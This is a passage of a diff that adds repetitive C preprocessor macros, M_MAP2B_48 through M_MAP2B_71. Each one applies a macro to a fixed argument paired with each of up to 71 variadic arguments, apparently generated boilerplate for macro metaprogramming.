+#define M_MAP2B_48(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) 
+#define M_MAP2B_49(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) 
+#define M_MAP2B_50(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) 
+#define M_MAP2B_51(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) 
+#define M_MAP2B_52(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) 
+#define M_MAP2B_53(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) 
+#define M_MAP2B_54(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) 
+#define M_MAP2B_55(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) 
+#define M_MAP2B_56(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) 
+#define M_MAP2B_57(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) 
+#define M_MAP2B_58(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) 
+#define M_MAP2B_59(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) 
+#define M_MAP2B_60(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) 
+#define M_MAP2B_61(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) 
+#define M_MAP2B_62(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) 
+#define M_MAP2B_63(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) f(d, _63) 
+#define M_MAP2B_64(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) f(d, _63) f(d, _64) 
+#define M_MAP2B_65(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) f(d, _63) f(d, _64) f(d, _65) 
+#define M_MAP2B_66(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) f(d, _63) f(d, _64) f(d, _65) f(d, _66) 
+#define M_MAP2B_67(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) f(d, _63) f(d, _64) f(d, _65) f(d, _66) f(d, _67) 
+#define M_MAP2B_68(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) f(d, _63) f(d, _64) f(d, _65) f(d, _66) f(d, _67) f(d, _68) 
+#define M_MAP2B_69(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) f(d, _63) f(d, _64) f(d, _65) f(d, _66) f(d, _67) f(d, _68) f(d, _69) 
+#define M_MAP2B_70(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, _70) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) f(d, _63) f(d, _64) f(d, _65) f(d, _66) f(d, _67) f(d, _68) f(d, _69) f(d, _70) 
+#define M_MAP2B_71(f, d, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, _61, _62, _63, _64, _65, _66, _67, _68, _69, _70, _71) f(d, _1) f(d, _2) f(d, _3) f(d, _4) f(d, _5) f(d, _6) f(d, _7) f(d, _8) f(d, _9) f(d, _10) f(d, _11) f(d, _12) f(d, _13) f(d, _14) f(d, _15) f(d, _16) f(d, _17) f(d, _18) f(d, _19) f(d, _20) f(d, _21) f(d, _22) f(d, _23) f(d, _24) f(d, _25) f(d, _26) f(d, _27) f(d, _28) f(d, _29) f(d, _30) f(d, _31) f(d, _32) f(d, _33) f(d, _34) f(d, _35) f(d, _36) f(d, _37) f(d, _38) f(d, _39) f(d, _40) f(d, _41) f(d, _42) f(d, _43) f(d, _44) f(d, _45) f(d, _46) f(d, _47) f(d, _48) f(d, _49) f(d, _50) f(d, _51) f(d, _52) f(d, _53) f(d, _54) f(d, _55) f(d, _56) f(d, _57) f(d, _58) f(d, _59) f(d, _60) f(d, _61) f(d, _62) f(d, _63) f(d, _64) f(d, _65) f(d, _66) f(d, _67) f(d, _68) f(d, _69) f(d, _70) f(d, _71) 
